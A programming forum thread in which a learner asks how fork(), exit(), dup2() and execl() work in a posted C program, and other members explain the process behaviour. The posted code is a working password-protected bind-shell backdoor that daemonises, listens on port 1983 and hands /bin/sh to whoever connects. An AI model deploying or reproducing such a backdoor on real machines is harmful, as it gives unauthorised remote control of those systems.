Thread: fork(), exit() - few questions!

  1. #1
    Registered User
    Join Date
    Nov 2004
    Posts
    5

    fork(), exit() - few questions!

    Hello everyone,

    I am trying to fully understand the program below. I virtually understand all of it but I have a few questions relating to the use of fork(), exit() and !strncmp.

    I'm going to explain what I think is going on in the lines of code that have me a bit confused, I will refer to each question by which line(s) they refer to.

    On lines 27 to 29, it seems the parent process creates a child process and then commits suicide. Then init takes over the child process. I'm guessing this is done to enable the program to run in the background instead of hanging after doing a './prog'. When the child process is created does it begin reading the code at line 30 or does it start from line 1? Also, in the child process fork() = 0 right? fork() < 0 = error forking, fork() = 0 means child, and fork() > 0 means parent?

    On lines 31 to 38, it seems the (1) in the while statement creates an infiniate loop. The parent process never get's to read these lines of code because it commited suicide on line 28 right? I would think that means the child process will be first to read lines 31 to 38. And if fork() = 0 because it's child process the 'if (fork() != 0)' on line 33 wouldn't be true right? So unless a fork() < 0 error occured or fork() > 0 means parent occured lines 34 and 35 won't get read and the while will go accept to close accept to close...?

    Yet, when a connection is made to the server the '(fork() != 0)' is ran and the child process is no longer 'prog' but 'sh'. The fork() statment creates a child from the child which is 'prog' again.

    Ah, I'm probably making no sense here. I guess what I'm really asking is what the heck is going on in lines 31 to 38, what is the sequence code is read and is it parent or child?

    What is happening in lines 56 to 58? Something relating to stdout, stdin and stderr?

    Line 59, execl() means exe and leave. Does that mean /bin/sh is ran and immediately following the exit() causes entire process to commit suicide? Or does /bin/sh run and process holds until /bin/sh is closed then the exit() is run?

    I knew nothing about any of these functions yesterday, I've been reading online. Sorry for so many questions, just trying to build a solid foundation on what is going on here.

    Thank you everyone.


    Code:
    1  /***********************************
    2   * simple linux remote access tool *
    3   ***********************************/
    4  #include <strings.h>
    5  #include <stdio.h>
    6  #include <stdlib.h>
    7  #include <sys/types.h>
    8  #include <sys/socket.h>
    9  #include <netinet/in.h>
    10 #include <unistd.h>
    11
    12 #define port 1983
    13 #define shell "/bin/sh"
    14
    15 int main()
    16 {
    17	int master_socket, in_socket, addrlen;
    18	struct sockaddr_in address;
    19	address.sin_family      = AF_INET;
    20	address.sin_addr.s_addr = INADDR_ANY;
    21	address.sin_port        = htons(port);
    22	master_socket = socket(AF_INET, SOCK_STREAM, 0);
    23	bind(master_socket, (struct sockaddr *) &address, sizeof(address));
    24	listen(master_socket, 3);
    25	addrlen = sizeof(address);
    26
    27	if (fork() != 0) {
    28		exit(0);
    29	}
    30
    31	while (1) {
    32		in_socket = accept(master_socket, (struct sockaddr *) &address, &addrlen);
    33		if (fork() != 0) {
    34			close(master_socket);
    35			rshell(in_socket);
    36		}
    37		close(in_socket);
    38	}
    39	return 1;
    40 }
    41
    42 void rshell(in_sock)
    43 {
    44	char buf[150];
    45	char passwd[] = "somepasswd";
    46	char pass[]    = "Enter Password:";
    47	char success[] = "Login Successful...";
    48	char failure[] = "Login Unsuccessful...";
    49
    50	write(in_sock, pass, sizeof(pass));
    51	read(in_sock, buf, sizeof(buf));
    52
    53	if (!strncmp(buf, passwd, strlen(passwd))) {
    54		write(in_sock, success, sizeof(success));
    55		chdir("/");
    56		dup2(in_sock, 0);
    57		dup2(in_sock, 1);
    58		dup2(in_sock, 2);
    59		execl(shell, shell, (char *) 0);
    60		close(in_sock);
    61		exit(0);
    62	} else {
    63		write(in_sock, failure, sizeof(failure));
    64		close(in_sock);
    65		exit(0);
    66	}
    67	close(in_sock);
    68	exit(0);
    69 }
    70

  2. #2
    End Of Line Hammer's Avatar
    Join Date
    Apr 2002
    Posts
    6,231
    On lines 27 to 29, it seems the parent process creates a child process and then commits suicide. Then init takes over the child process. I'm guessing this is done to enable the program to run in the background instead of hanging after doing a './prog'. When the child process is created does it begin reading the code at line 30 or does it start from line 1? Also, in the child process fork() = 0 right? fork() < 0 = error forking, fork() = 0 means child, and fork() > 0 means parent?
    All sounds about right. There other things to making a process run in the background though.
    http://faq.cprogramming.com/cgi-bin/...=1045780608#02

    On lines 31 to 38, it seems the (1) in the while statement creates an infiniate loop. The parent process never get's to read these lines of code because it commited suicide on line 28 right?
    Right.

    And if fork() = 0 because it's child process the 'if (fork() != 0)' on line 33 wouldn't be true right?
    Line 33 is a second fork(), meaning the child creates a child of its own. So now you have a deceased parent, a child thats also a parent, and a child thats also a grandchild without ever getting to know its grandparent.

    Yet, when a connection is made to the server the '(fork() != 0)' is ran and the child process is no longer 'prog' but 'sh'. The fork() statment creates a child from the child which is 'prog' again.
    The grandchild becomes /bin/sh if a successful password match is made, otherwise it just dies.

    31-38 is controlled by the original child process. It loops through this section, spawning off more children that become whatever happens in the rshell() function.

    56-58 - Look up the dup2() function in the man pages. Yes, 0, 1 and 2 are stdin, stdout and sterr.

    The exit on line 60 is not invoked unless the execl() failed to convert the process to /bin/sh.
    Read more about execl() to understand that area.
    When all else fails, read the instructions.
    If you're posting code, use code tags: [code] /* insert code here */ [/code]

  3. #3
    Registered User
    Join Date
    Nov 2004
    Posts
    5
    Thank you very much for your reply.

    I was experimenting with this program printing pid's at different stages of the code. Let's say the executable is called rtool.

    line 26 - pid = 1000 < - parent
    before the exit(0) on line 28 I printed the child's pid = 1001 < - child

    connection is made to server. password matches.

    pid 1001 becomes sh
    pid 1002 is rtool

    You said that the second fork() created a grandchild which on password match becomes 'sh' else it just dies. What causes the second fork to occur? Does it have something to do with a connection being made?

    The reason I'm confused is because if the program constantly was creating a grandchild but then killing it because when it jumped to rshell() nothing happened because no connection had been made the pid's should be constantly growing? Maybe I'm not thinking logically on this.

    Thanks again.

  4. #4
    End Of Line Hammer's Avatar
    Join Date
    Apr 2002
    Posts
    6,231
    Ah, a mistake on my part: the fork() on line 33, together with the "if" statement on same line, causes the parent to call rshell() (subsequently becoming sh), the new child then takes over as the current parent. And yes, the pids should continually change.
    Normal practice, imho, would be to keep the same parent, that continually spawns children.
    When all else fails, read the instructions.
    If you're posting code, use code tags: [code] /* insert code here */ [/code]

  5. #5
    Registered User
    Join Date
    Nov 2004
    Posts
    5
    I'm determined to get this, lol.

    Okay, referencing the first fork, 'if (fork() != 0)' was true because it was the original parent process and fork() > 0 which made the 'if (fork() != 0)' true, causing the exit(0) to run and kill the parent.

    At this point, all we have is the child process and were headed towards the infinate loop. Because this is the child process fork() should be == 0. So, when the child process enters the infiniate loop and hit's the second fork(), 'if (fork() != 0)' is NOT TRUE. I think it's not true because the child process fork() is = 0, so the jump to rshell() shouldn't occur.

    For whatever reason it seems like the second fork is ignored until a connection is made to server. I have ran a couple more tests, maybe they can aid in figuring out exactly what this program is doing. I just keep thinking that when the second fork is reached by the child the statement is not true so how could the program spawn a grand child right away and jump to rshell().

    Maybe, when the parent creates a child it's child fork() is = 0, but once the parent kills itself the child's fork() is no longer = 0 but > 0 because it becomes it's own parent? Thus, when the second fork occurs it's true. And if so, the next question is why doesn't the pid's keep growing and by the time a connection is made be much larger? If you look below they are sequencial.

    line 26: 11168: I am the parent
    line 28: 11168: My child's pid is 11169

    parent terminates...
    only 11169 is alive now < - child
    connection made to server...

    I printed a getpid() inside the second fork.
    when a connection was made to the server it printed

    11169 fork'd a child with pid 11170
    11169 no longer rtool but sh
    11170 is rtool

    I disconnected from server and 11169 sh died.
    11170 rtool still alive

    connected again to server...

    11170 fork'd a child 11171
    11170 no longer rtool but sh
    11171 is rtool

    Hope I'm not being to much trouble. I'd really like to fully understand this program. Thanks again, appreciate it.

  6. #6
    Registered User
    Join Date
    Nov 2004
    Posts
    5
    After doing a little debugging I've figured out what is going on. Thought I should post solution so this post is complete.

    The first fork() creates a child process. Immediately following the first fork() the parent commits suicide and init takes over the child process.

    The child process enters the infiniate loop and the program halts at line 32. The program is stuck at line 32 until a client connects to the server. When a connection is made the child process hits line 33 and fork's it's own child. The child then jumps into the rshell() function, if password is correct remote sh, else child terminates.

    When the child fork's it's own child 'technically grandchild', the grandchild process get's stuck at line 32 as well. Until another connection is made nothing happens.

    I'm going to rewrite this program with the 1 parent, duplicates children as necessary idea.

    Thanks for pointing me in the right direction Hammer, I really appreciate your help.

  7. #7
    ATH0 quzah's Avatar
    Join Date
    Oct 2001
    Posts
    14,826
    Quote Originally Posted by Hammer
    Line 33 is a second fork(), meaning the child creates a child of its own. So now you have a deceased parent, a child thats also a parent, and a child thats also a grandchild without ever getting to know its grandparent.
    How sad.

    Quzah.
    Hope is the first step on the road to disappointment.

  8. #8
    Registered User
    Join Date
    Nov 2004
    Posts
    5
    Quzah,

    Was that really necessary?

    First off, I spent a lot of time reading before coming here. Second, no I don't think I need to spend hours reading all the anouncements etc.. on every forum I visit. Third, there is nothing wrong with Hammer helping people. We are here to learn. Hammer helped me to learn, what problem do you have with this? Refering to your comment about asking smart questions, well, needless to say your not appearing to smart yourself.

    The quote by Hammer you put up left many aspects for confusion to a new programmer.

    To understand a program we obviously must understand how each section works, not just this one or that. My pid print out's showed the program only moved when a connection was made, never did anyone explain why! And because no one said why I was left wondering why the pid's aren't changing all the while. This made me wonder why fork wasn't running, making me think fork = 0 or < 0. The entire time fork() != 0 was true.

    If you are not "smart" enough to figure out why that would leave a new programmer confused well?!?

    Thanks again for your help Hammer, when someone ask's me about fork() I'll be prepared to help them.

  9. #9
    ---
    Join Date
    May 2004
    Posts
    1,379
    Hammer: So now you have a deceased parent, a child thats also a parent, and a child thats also a grandchild without ever getting to know its grandparent

    Quzah: How sad
    See the joke?

  10. #10
    ATH0 quzah's Avatar
    Join Date
    Oct 2001
    Posts
    14,826
    Quote Originally Posted by sand_man
    See the joke?
    sand_man,

    Was that really necessary?



    Oh, wait. It was. Don't you just hate having to explain a joke? It ruins the effect.

    Quzah.
    Hope is the first step on the road to disappointment.

  11. #11
    Registered User
    Join Date
    Jan 2002
    Location
    Vancouver
    Posts
    2,212
    Quote Originally Posted by s3t3c
    Quzah,

    Was that really necessary?

    First off, I spent a lot of time reading before coming here. Second, no I don't think I need to spend hours reading all the anouncements etc.. on every forum I visit. Third, there is nothing wrong with Hammer helping people. We are here to learn. Hammer helped me to learn, what problem do you have with this? Refering to your comment about asking smart questions, well, needless to say your not appearing to smart yourself.

    The quote by Hammer you put up left many aspects for confusion to a new programmer.

    To understand a program we obviously must understand how each section works, not just this one or that. My pid print out's showed the program only moved when a connection was made, never did anyone explain why! And because no one said why I was left wondering why the pid's aren't changing all the while. This made me wonder why fork wasn't running, making me think fork = 0 or < 0. The entire time fork() != 0 was true.

    If you are not "smart" enough to figure out why that would leave a new programmer confused well?!?

    Thanks again for your help Hammer, when someone ask's me about fork() I'll be prepared to help them.

    ahahahahahaha

Popular pages Recent additions subscribe to a feed

Similar Threads

  1. Chat Program Help?
    By Paul22000 in forum Networking/Device Communication
    Replies: 9
    Last Post: 02-10-2009, 12:35 AM
  2. A very long list of questions... maybe to long...
    By Ravens'sWrath in forum C Programming
    Replies: 16
    Last Post: 05-16-2007, 05:36 AM
  3. Odd memory leaks
    By VirtualAce in forum C++ Programming
    Replies: 11
    Last Post: 05-25-2006, 12:56 AM
  4. Dynamic array of pointers
    By csisz3r in forum C Programming
    Replies: 8
    Last Post: 09-25-2005, 02:06 PM
  5. Couple of Q's.....
    By oobootsy1 in forum C++ Programming
    Replies: 18
    Last Post: 02-23-2004, 02:03 PM